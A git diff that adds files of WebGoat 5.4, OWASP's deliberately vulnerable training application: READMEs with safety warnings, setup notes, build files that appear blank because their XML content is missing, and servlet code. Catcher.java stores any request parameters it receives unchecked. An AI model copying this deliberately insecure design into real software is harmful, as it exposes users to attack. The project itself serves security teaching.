diff --git a/webgoat-5.4/README.txt b/webgoat-5.4/README.txt
new file mode 100644
index 000000000..9a8f9fa7a
--- /dev/null
+++ b/webgoat-5.4/README.txt
@@ -0,0 +1,196 @@
+**********
+********** WebGoat 5.4
+********** April/27/2012
+**********
+**
+** Home Page: http://code.google.com/p/webgoat
+** Home Page: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
+** Source Code: http://code.google.com/p/webgoat/source/checkout
+** Download: http://code.google.com/p/webgoat/downloads/list
+** Download: http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=61824 (older stuff)
+** User Guide: http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents
+** Wiki: http://code.google.com/p/webgoat/w/list
+** FAQ: http://code.google.com/p/webgoat/wiki/FAQ
+** Contact Info: webgoat@owasp.org (Direct to Bruce Mayhew)
+** Mailing List: owasp-webgoat@lists.owasp.org (WebGoat Community - For most questions)
+**
+**********
+
+Thank you for downloading WebGoat!
+
+This program is a demonstration of common server-side
+application flaws. The exercises are intended to
+be used by people to learn about application penetration
+testing techniques.
+
+
+WARNING 1: While running this program your machine will be
+extremely vulnerable to attack. You should to disconnect
+from the Internet while using this program.
+
+WARNING 2: This program is for educational purposes only. If you
+attempt these techniques without authorization, you are very
+likely to get caught. If you are caught engaging in unauthorized
+hacking, most companies will fire you. Claiming that you were
+doing security research will not work as that is the first thing
+that all hackers claim.
+
+You can find more information about WebGoat at:
+http://code.google.com/p/webgoat
+
+
+----------------------------------------------------------------------------------------
+Prerequisites for Developers (Skip to Option 3 for unzip and click to run configruation)
+----------------------------------------------------------------------------------------
+
+These tools must be installed independent of the webgoat download.
+- Java 1.6
+ Java can ne downloaded at http://java.sun.com/javase/downloads/index.jsp
+ You only need to download and install the "Java SE Development Kit (JDK)"
+- Maven > 2.0.9
+ Maven can be downloaded at: http://maven.apache.org/
+ In Ubuntu it can be installed with:
+ > apt-get install maven2
+- WebGoat source code
+ WebGoat source code can be downloaded at:
+ http://code.google.com/p/webgoat/source/checkout
+ Use an svn client (ex: Tortoise svn) to checkout the code in the trunk.
+
+
+
+---------------------------------
+Building the project (Developers)
+---------------------------------
+
+Using a command shell/window:
+
+> cd webgoat
+> mvn compile
+
+copy it to the local repository
+> mvn install
+
+delete artifacts from previous build:
+> mvn clean
+
+
+-----------------------------------------------
+Building the Eclipse project files (Developers)
+-----------------------------------------------
+
+> mvn eclipse:clean
+> mvn eclipse:eclipse
+
+Afterward the project can be imported within Eclipse:
+File -> Import -> General -> Existing Projects into Workspace
+and select the webgoat directory as the "root directory." A webgoat should appear in the Projects section of your dialogue window.
+
+Don't forget to declare a classpath variable named M2_REPO, pointing to ~/.m2/repository, otherwise many links to existing jars will be broken.
+This folder is located in your username root folder, the same folder where "my documents" and "my pictures" are located.
+You can declare new variables in Eclipse in Windows -> Preferences... and selecting Java -> Build Path -> Classpath Variables
+
+
+-------------------------------------------------------------------
+Option 1: (Developers) Run the project on Tomcat within Eclipse
+-------------------------------------------------------------------
+
+Install a local Tomcat server (We use Tomcat 7)
+1. Download and unzip Apache Tomcat from http://tomcat.apache.org.
+2. Adapt the conf/tomcat-users.xml file of your Tomcat server:
+
+
+
+
+
+
+
+
+
+
+
+3. Open Eclipse (WTP version) -> File -> New -> Other -> Server -> Apache
+4. Choose your Tomcat version
+-> Click next "browse" to your tomcat install.
+-> Make sure the "JRE" dropdown is pointing to your jdk. If it isn't listed, press
+"Installed JREs" and add it.
+-> Click next and add "webgoat" to the list of configured applications
+-> Finish
+
+
+3. Right Click on the webgoat project within eclipse -> Run As -> Run on server
+
+Point your browser to http://localhost:8080/webgoat/attack
+** Note - When running in eclipse, the default url will be lowercase "webgoat"
+
+
+-----------------------------------------------------------
+Option 2: (Developers) Run the project on Tomcat with Maven
+-----------------------------------------------------------
+
+1. mvn tomcat:run-war
+2. http://localhost:8080/WebGoat/attack
+
+
+------------------------------------------------------------------
+Option 3: Run from the WebGoat 5.X Standard distribution (Windows)
+------------------------------------------------------------------
+
+1. Download the WebGoat-5.X-OWASP_Standard_Win32.zip file from:
+ - http://code.google.com/p/webgoat/downloads/list
+2. Unzip the file
+3. Double click webgoat.bat
+4. Browse to http://localhost/WebGoat/attack
+
+** Note: if you receive a bind address error use:
+
+3. Double click webgoat8080.bat
+4. Browse to http://localhost:8080/WebGoat/attack
+
+
+------------------------------------------------------------------
+Option 4: Run from the WebGoat 5.X Standard distribution (Ubuntu)
+------------------------------------------------------------------
+
+1. Download the WebGoat-5.X-OWASP_Standard_Ubuntu32.zip file from:
+ - http://code.google.com/p/webgoat/downloads/list
+2. Unzip the file
+3. run sudu ./webgoat.sh start80
+4. Browse to http://localhost/WebGoat/attack
+
+** Note: if you receive a bind address or privilege error:
+
+3. run ./webgoat.sh start8080
+4. Browse to http://localhost:8080/WebGoat/attack
+
+shutdown the server with:
+./webgoat.sh stop
+
+------------------------------------------------------------------
+Option 5: Using the WebgGoat-5.X.war
+------------------------------------------------------------------
+
+Windows:
+
+1. Download and install Java 1.6 and Tomcat 7 if needed
+2. Download the WebgGoat-5.X.war and README-5.X file from:
+ - http://code.google.com/p/webgoat/downloads/list
+3. Rename WebgGoat-5.X.war to WebgGoat.war
+4. Copy WebGoat.war to /webapps/WebGoat.war
+5. Modify the /conf/tomcat-users.xml to add in WebGoat users and roles
+ - see the FAQ for directions
+6. Start the tomcat server (default is usually port 8080)
+7. Browse to http://localhost:8080/WebGoat/attack
+
+Ubuntu:
+
+1. Install Java 1.6 and Tomcat 7 if needed
+ - Install java using: sudo apt-get install openjdk-7-jre
+ - Download Tomcat 7 from http://tomcat.apache.org/download-70.cgi (core tar.gz)
+2. Download the WebgGoat-5.X.war and README-5.X file from:
+ - http://code.google.com/p/webgoat/downloads/list
+3. Rename WebgGoat-5.X.war to WebgGoat.war
+4. Copy WebGoat.war to /webapps/WebGoat.war
+5. Modify the /conf/tomcat-users.xml to add in WebGoat users and roles
+ - see the FAQ for directions
+6. Start the tomcat server (default is usually port 8080)
+7. Browse to http://localhost:8080/WebGoat/attack
\ No newline at end of file
diff --git a/webgoat-5.4/build.xml b/webgoat-5.4/build.xml
new file mode 100644
index 000000000..c81152c38
--- /dev/null
+++ b/webgoat-5.4/build.xml
@@ -0,0 +1,292 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/doc/Solving the WebGoat Labs.doc b/webgoat-5.4/doc/Solving the WebGoat Labs.doc
new file mode 100644
index 000000000..a1f89160c
Binary files /dev/null and b/webgoat-5.4/doc/Solving the WebGoat Labs.doc differ
diff --git a/webgoat-5.4/doc/WebGoat_Users_Guide.doc b/webgoat-5.4/doc/WebGoat_Users_Guide.doc
new file mode 100644
index 000000000..a755343bf
Binary files /dev/null and b/webgoat-5.4/doc/WebGoat_Users_Guide.doc differ
diff --git a/webgoat-5.4/doc/attic/Eclipse-Workspace.zip b/webgoat-5.4/doc/attic/Eclipse-Workspace.zip
new file mode 100644
index 000000000..d190c9d06
Binary files /dev/null and b/webgoat-5.4/doc/attic/Eclipse-Workspace.zip differ
diff --git a/webgoat-5.4/doc/attic/HOW TO create the WebGoat workspace.txt b/webgoat-5.4/doc/attic/HOW TO create the WebGoat workspace.txt
new file mode 100644
index 000000000..ba01dd1e9
--- /dev/null
+++ b/webgoat-5.4/doc/attic/HOW TO create the WebGoat workspace.txt
@@ -0,0 +1,196 @@
+***************************************
+
+As of 5.1 the developer release contains the eclipse workspace
+and project files.
+
+Extract distribution to c:\
+ - It will create a WebGoat-x.x directory
+Extract Eclipse-Workspace.zip to C:\WebGoat-x.x
+Start eclipse using eclipse.bat
+After eclipse starts
+ Top left - Project Explorer view
+ right click WebGoat – refresh
+ right click Servers – refresh
+ Bottom - Servers view
+ right click Tomcat… - start
+Browse to http://localhost/WebGoat/attack
+
+
+You're done. Changing files in eclipse will automatically rebuild
+and redeploy the application.
+
+Follow the instructions below to build the workspace from scratch
+
+
+***************************************
+
+
+
+
+
+***************************************
+
+Eclipse startup and dependency removal
+WebGoat uses Eclipse WTP 1.5
+
+***************************************
+
+Change paths in eclipse.bat to reflect your environment
+
+ edit /eclipse.bat
+ Change JAVAHOME to directory where java is installed.
+ ex: This may be .\java or "C:\Program Files\Java\jdk1.5.0_08"
+
+ Change ECLIPSE_HOME to directory where eclipse is installed
+ ex: This may be .\eclipse or "C:\Program Files\eclipse"
+ Note: WebGoat requires eclipse with WTP project
+
+
+Run eclipse using the eclipse.bat file
+
+ located at /eclipse.bat
+
+Remove eclipse dependencies
+
+ Delete all files and directories beginning
+ with a period. ex) .settings, .project, etc...
+ Note: These files probably do not exist unless you have
+ previously tried to build a WebGoat eclipse project
+
+
+Eclipse will start up in the default state
+Click arrow at top right to load the eclipse workbench
+
+
+***************************************
+
+Verify tomcat directory is read/write access
+
+***************************************
+
+You may have to install Tomcat and merge the webgoat users into
+the tomcat-users.xml file
+
+File: /conf/tomcat-users.xml
+
+
+
+
+
+
+
+
+
+
+
+
+***************************************
+
+Initial Setup of Development Enviroment
+
+***************************************
+
+Step 1) Add the WebGoat JDK
+
+window->preferences->
+ java->installed JREs
+
+ add
+ Name: WebGoat JDK 1.5
+ Directory: java
+ OK
+
+ select new JDK as default
+ remove previous JDK if exists
+ OK
+
+window->preferences
+ server->Installed Runtime
+
+ ADD
+ apache
+ tomcat v5.5
+ NEXT
+ directory: use browse button to locate /tomcat (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\tomcat)
+ JRE: WebGoat JDK 1.5
+ FINISH
+ select apache tomcat v5.5 as default
+ OK
+
+window->open perspective
+ other
+ J2EE
+
+in Project Explorer
+ right click->New->New Dynamic Web Project
+
+ Name: WebGoat
+ Deselect "use default"
+ Browse to /project (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\project)
+ NEXT
+ NEXT
+ change Java Source Directory: JavaSource
+ FINISH
+ Click "I Agree" if dialog appears (will appear after build completes)
+
+From "Servers" View - Should be in bottom view
+ right click->New->Server (Tomcat 5.5 should be default selected)
+ NEXT
+ select WebGoat
+ ADD
+ FINISH
+
+From a Windows file explorer window
+ Copy the .keystore to eclipse workspace directory
+ \J2EE\main\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\.keystore
+
+From Servers view
+
+ double click Tomcat v 5.5 Server @ locahost
+
+in "Server Overview" window
+
+ Uncheck "Run modules directly from the workspace"
+ SAVE (ctrl-s)
+ NOTE: In developer mode you may want to leave this checked
+
+
+
+Right click on Tomcat v5.5 Sever@localhost ->Start
+
+Browse to http://localhost/WebGoat/attack
+
+
+***************************************
+
+Deploying to Tomcat
+
+***************************************
+
+From Servers view
+
+ double click Tomcat v 5.5 Server @ locahost
+
+in "Server Overview" window
+
+ Uncheck "Run modules directly from the workspace"
+ SAVE (ctrl-s)
+
+From Servers view
+
+ right click->Publish
+
+Using file system
+ copy JavaSource directory into /webapps/WebGoat/
+
+
+***************************************
+
+Configuring Webgoat.properties for
+your environment.
+ i.e. How to manage the menus
+
+***************************************
+
+Edit /project/WebContent/WEB-INF/webgoat.properties
+ - Turn off/on the desired lessons
diff --git a/webgoat-5.4/doc/attic/build.xml b/webgoat-5.4/doc/attic/build.xml
new file mode 100644
index 000000000..aa8d58764
--- /dev/null
+++ b/webgoat-5.4/doc/attic/build.xml
@@ -0,0 +1,282 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/doc/attic/build2.xml b/webgoat-5.4/doc/attic/build2.xml
new file mode 100644
index 000000000..0251bd1d5
--- /dev/null
+++ b/webgoat-5.4/doc/attic/build2.xml
@@ -0,0 +1,317 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/doc/attic/eclipse.bat b/webgoat-5.4/doc/attic/eclipse.bat
new file mode 100644
index 000000000..ab43f23cf
--- /dev/null
+++ b/webgoat-5.4/doc/attic/eclipse.bat
@@ -0,0 +1,28 @@
+ECHO OFF
+IF NOT EXIST WebGoat_5_2_workspace GOTO UNPACK
+set JAVAHOME=java
+set PATH=%JAVAHOME%\bin;%PATH%
+set ECLIPSE_HOME=eclipse
+SET JAVA_OPTS=%JAVA_OPTS% -Xms128m -Xmx768m
+
+%ECLIPSE_HOME%\eclipse.exe -data .\WebGoat_5_2_workspace
+GOTO END
+
+:UNPACK
+ECHO *
+ECHO *
+ECHO *
+ECHO *
+ECHO * ERROR -- eclipse workspace is missing
+ECHO *
+ECHO *
+ECHO *
+ECHO *
+ECHO * Use winzip to unzip Eclipse-Workspace.zip
+ECHO *
+ECHO *
+ECHO *
+PAUSE
+
+:END
+
diff --git a/webgoat-5.4/doc/attic/readme.txt b/webgoat-5.4/doc/attic/readme.txt
new file mode 100644
index 000000000..346f898b8
--- /dev/null
+++ b/webgoat-5.4/doc/attic/readme.txt
@@ -0,0 +1,207 @@
+********** WebGoat 5.2
+********** July/08/2008
+**********
+**
+** Source Code: http://code.google.com/p/webgoat
+** Download: http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=61824
+** Download: http://code.google.com/p/webgoat/downloads/list (Does not have Developer release)
+** User Guide: http://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents
+** Home Page: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
+** Contact Info: webgoat@owasp.org
+**
+**********
+
+Thank you for downloading WebGoat!
+
+This program is a demonstration of common server-side
+application flaws. The exercises are intended to
+be used by people to learn about application penetration
+testing techniques.
+
+
+WARNING 1: While running this program your machine will be
+extremely vulnerable to attack. You should to disconnect
+from the Internet while using this program.
+
+WARNING 2: This program is for educational purposes only. If you
+attempt these techniques without authorization, you are very
+likely to get caught. If you are caught engaging in unauthorized
+hacking, most companies will fire you. Claiming that you were
+doing security research will not work as that is the first thing
+that all hackers claim.
+
+You can find more information about WebGoat at:
+http://code.google.com/p/webgoat
+
+CREDITS (Latest release)
+
+ Bruce Mayhew (http://www.ouncelabs.com)
+ Rogan Dawes (http://dawes.za.net/rogan)
+ Reto Lippuner
+ Marcel Wirth
+ Aung Khant (http://yehg.org)
+ Erwin Geirnaert (http://www.zionsecurity.com)
+ The many people who have sent comments and suggestions...
+
+
+WHAT'S NEW
+
+ * WebGoat is now current at Google code. (http://code.google.com/p/webgoat)
+ * Introduction and WebGoat instructions
+ * Multi Level Login Lesson
+ * Session Fixation Lesson
+ * Insecure Login Lesson
+ * Lesson Solution Videos
+ * Bug Report Feature
+ * Many upgrades and minor fixes
+
+
+RELEASES
+
+WebGoat-OWASP_Standard-x.x.zip
+ - Unzip and run version
+ - Includes java and tomcat
+
+WebGoat-OWASP_Developer-x.x.zip
+ - Includes standard version
+ - Developer version has eclipse and eclipse workspace
+
+
+
+INSTALLATION
+
+Windows - (Download, Extract, Double Click Release)
+
+1. unzip the WebGoat-OWASP_Standard-x.x.zip to your working environment
+2. To start Tomcat, browse to the WebGoat directory unzipped above and
+ double click "webgoat.bat"
+3. start your browser and browse to... (Notice the capital 'W' and 'G')
+ http://localhost/WebGoat/attack
+4. login in as: user = guest, password = guest
+5. To stop WebGoat, simply close the window you launched it from.
+
+Note: When intercepting requests via a proxy with IE7. You must add a '.' to the
+ end of localhost. This is only valid for IE7:
+ http://localhost./WebGoat/attack or
+ http://localhost.8080/WebGoat/attack if using a non standard port
+ all other browsers should use:
+ http://localhost/WebGoat/attack
+
+
+
+Linux
+
+1. Download and install Java JDK 1.5 from Sun (http://java.sun.com)
+2. Unzip the WebGoat-OWASP_Standard-x.x.zip to your working directory
+3. Set JAVA_HOME to point to your JDK1.5 installation
+4. chmod +x webgoat.sh
+5. Since the latest version runs on a privileged port, you will need to start/stop WebGoat as root.
+ sudo sh webgoat.sh start
+ sudo sh webgoat.sh stop
+6. start your browser and browse to... (Notice the capital 'W' and 'G')
+ http://localhost/WebGoat/attack
+7. login in as: user = guest, password = guest
+
+
+OS X (Tiger 10.4+)
+
+1. Unzip the WebGoat-OWASP_Standard-x.x.zip to your working directory
+2. chmod +x webgoat.sh
+3. Since the latest version runs on a privileged port, you will need to start/stop WebGoat as root.
+ sudo sh webgoat.sh start
+ sudo sh webgoat.sh stop
+4. start your browser and browse to... (Notice the capital 'W' and 'G')
+ http://localhost/WebGoat/attack
+5. login in as: user = guest, password = guest
+
+
+DEVELOPER INSTALLATION
+
+1. Download WebGoat-OWASP_Developer-x.x.zip source distribution
+2. Unzip the WebGoat-OWASP_Developer-x.x.zip to your working directory
+3. Follow the directions in HOW TO create the WebGoat workspace.txt
+
+
+HOW WEBGOAT WORKS
+
+TROUBLESHOOTING/FAQs:
+Q. I put the OWASP downloaded war file in my tomcat/webapps directory and the
+ http://localhost/WebGoat/attack url doesn't work.
+A. Rename the downloaded war file to WebGoat.war. Delete the existing tomcat/webapps/*WebGoat* directories. Restart Tomcat.
+
+
+Q. I dropped the WebGoat war file into my non-Tomcat application server and WebGoat doesn't seem to work.
+A. WebGoat uses some of the internal Tomcat classes for user management. Unfortunately, this makes
+ WebGoat dependent on Tomcat. Hopefully, this will be addressed in a future release.
+
+
+Q. Having problems with the ant file working properly. How do I configure my ant environment
+ so that I don't receive errors such as:
+ - "Specified VM install not found: type Standard VM, name j2sdk1.4.2.06"
+A. This usually indicates an Eclipse environment setting misconfiguration. Here are some possible solutions:
+ i. Ant Runtime Configuration
+ - Window > Preferences
+ - Ant > Runtime
+ - Under Classpath Tab check the "Global Entries"
+ - Remove any jre "tools.jar" references
+ - Add the "\tomcat\servers\lib\catalina-ant.jar" file.
+ - Click Apply, Click OK.
+ - Return to the Ant View and refresh.
+
+
+Q. When I start up WebGoat it dies very quickly.
+A. WebGoat is a Java application that runs on Tomcat using port 80. If you have another
+ application listening on port 80 (like IIS), you will need to change WebGoat's port
+ (to 8080 or something) in the tomcat_root/conf/server.xml file.
+
+
+Q. When I deploy the war file to the Tomcat wepapps directory, I can't login to WebGoat
+A. You need to add the webgoat users and roles to tomcat/conf/tomcat-users.xml
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Q. How do I get configure WebGoat to run on an IP other then localhost?
+A. In the webgoat.bat file, in the root directory, the following lines
+ are executed:
+
+ delete .\tomcat\conf\server.xml
+ copy .\tomcat\conf\server_80.xml .\tomcat\conf\server.xml
+
+ This will overwrite any changes you may have made to server.xml
+ file that addressed this issue....
+
+ By changing the server_80.xml file (or by removing the above code
+ from webgoat.bat, after making your changes) you can reflect your
+ changes to the Tomcat configuration. You will need to change the IP
+ address in the server_80.xml file to be the IP of the host machine.
+
+ The following connectors should be modified
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/pom.xml b/webgoat-5.4/pom.xml
new file mode 100644
index 000000000..8938e3613
--- /dev/null
+++ b/webgoat-5.4/pom.xml
@@ -0,0 +1,168 @@
+
+ 4.0.0
+ WebGoat
+ WebGoat
+ war
+ 5.4-SNAPSHOT
+
+
+
+ maven2-repository.dev.java.net
+ Java.net Maven 2 Repository
+ http://download.java.net/maven/2
+
+
+
+
+
+
+
+ src/main/java
+
+
+ ${basedir}/src/main/resources
+
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+
+ 1.6
+ 1.6
+ ISO-8859-1
+
+
+
+ maven-eclipse-plugin
+
+ 1.5
+
+
+
+
+
+
+
+ javax.activation
+ activation
+ 1.1
+
+
+ axis
+ axis
+ 1.2
+
+
+ axis
+ axis-saaj
+ 1.2
+
+
+ axis
+ axis-jaxrpc
+ 1.2
+
+
+ axis
+ axis-ant
+ 1.2
+
+
+ commons-fileupload
+ commons-fileupload
+ 1.2.1
+
+
+ commons-io
+ commons-io
+ 1.4
+
+
+ commons-collections
+ commons-collections
+ 3.1
+
+
+ commons-digester
+ commons-digester
+ 1.4.1
+
+
+ xml-apis
+ xml-apis
+
+
+
+
+ commons-logging
+ commons-logging
+ 1.0.4
+
+
+ commons-discovery
+ commons-discovery
+ 0.2
+
+
+ javax.mail
+ mail
+ 1.4.2
+
+
+ javax.mail
+ mailapi
+ 1.4.2
+
+
+ hsqldb
+ hsqldb
+ 1.8.0.7
+
+
+ log4j
+ log4j
+ 1.2.8
+
+
+ wsdl4j
+ wsdl4j
+ 1.5.1
+
+
+ java2html
+ j2h
+ 1.3.1
+
+
+ ecs
+ ecs
+ 1.4.2
+
+
+ javax.transaction
+ jta
+ 1.0.1B
+
+
+ net.sourceforge.jtds
+ jtds
+ 1.2.2
+
+
+
+ javax.servlet
+ servlet-api
+ 2.3
+ provided
+
+
+ org.apache.tomcat
+ tomcat-catalina
+ 7.0.27
+ provided
+
+
+
+
diff --git a/webgoat-5.4/src/main/java/org/owasp/webgoat/Catcher.java b/webgoat-5.4/src/main/java/org/owasp/webgoat/Catcher.java
new file mode 100644
index 000000000..b82c17ce5
--- /dev/null
+++ b/webgoat-5.4/src/main/java/org/owasp/webgoat/Catcher.java
@@ -0,0 +1,119 @@
+
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.util.Enumeration;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.lessons.AbstractLesson;
+import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.session.WebSession;
+
+
+/***************************************************************************************************
+ *
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2007 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
+ *
+ * For details, please see http://code.google.com/p/webgoat/
+ *
+ * @author Bruce Mayhew WebGoat
+ * @created March 13, 2007
+ */
+public class Catcher extends HammerHead
+{
+
+ /**
+ *
+ */
+ private static final long serialVersionUID = 7441856110845727651L;
+
+ /**
+ * Description of the Field
+ */
+ public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE";
+
+ public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE";
+
+ public static final String PROPERTY = "PROPERTY";
+
+ public static final String EMPTY_STRING = "";
+
+ /**
+ * Description of the Method
+ *
+ * @param request
+ * Description of the Parameter
+ * @param response
+ * Description of the Parameter
+ * @exception IOException
+ * Description of the Exception
+ * @exception ServletException
+ * Description of the Exception
+ */
+ public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException
+ {
+ try
+ {
+ // System.out.println( "Entering doPost: " );
+ // System.out.println( " - request " + request);
+ // System.out.println( " - principle: " + request.getUserPrincipal() );
+ // setCacheHeaders(response, 0);
+ WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION);
+ session.update(request, response, this.getServletName()); // FIXME: Too much in this
+ // call.
+
+ int scr = session.getCurrentScreen();
+ Course course = session.getCourse();
+ AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE);
+
+ log(request, lesson.getClass().getName() + " | " + session.getParser().toString());
+
+ String property = new String(session.getParser().getStringParameter(PROPERTY, EMPTY_STRING));
+
+ // if the PROPERTY parameter is available - write all the parameters to the
+ // property file. No other control parameters are supported at this time.
+ if (!property.equals(EMPTY_STRING))
+ {
+ Enumeration e = session.getParser().getParameterNames();
+
+ while (e.hasMoreElements())
+ {
+ String name = (String) e.nextElement();
+ String value = session.getParser().getParameterValues(name)[0];
+ lesson.getLessonTracker(session).getLessonProperties().setProperty(name, value);
+ }
+ }
+ lesson.getLessonTracker(session).store(session, lesson);
+
+ // BDM MC
+ if ( request.getParameter("Deleter") != null ){org.owasp.webgoat.lessons.BlindScript.StaticDeleter();}
+
+ } catch (Throwable t)
+ {
+ t.printStackTrace();
+ log("ERROR: " + t);
+ }
+ }
+}
diff --git a/webgoat-5.4/src/main/java/org/owasp/webgoat/HammerHead.java b/webgoat-5.4/src/main/java/org/owasp/webgoat/HammerHead.java
new file mode 100644
index 000000000..e302c34c3
--- /dev/null
+++ b/webgoat-5.4/src/main/java/org/owasp/webgoat/HammerHead.java
@@ -0,0 +1,482 @@
+
+package org.owasp.webgoat;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.TimeZone;
+import javax.servlet.ServletContext;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import org.owasp.webgoat.lessons.AbstractLesson;
+import org.owasp.webgoat.lessons.WelcomeScreen;
+import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen;
+import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.session.ErrorScreen;
+import org.owasp.webgoat.session.Screen;
+import org.owasp.webgoat.session.UserTracker;
+import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.session.WebgoatContext;
+
+
+/***************************************************************************************************
+ *
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2007 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
+ *
+ * For details, please see http://code.google.com/p/webgoat/
+ *
+ *
+ * @author Jeff Williams Aspect Security
+ * @author Bruce Mayhew WebGoat
+ * @created October 28, 2003
+ */
+public class HammerHead extends HttpServlet
+{
+
+ private static final String WELCOMED = "welcomed";
+
+ /**
+ *
+ */
+ private static final long serialVersionUID = 645640331343188020L;
+
+ /**
+ * Description of the Field
+ */
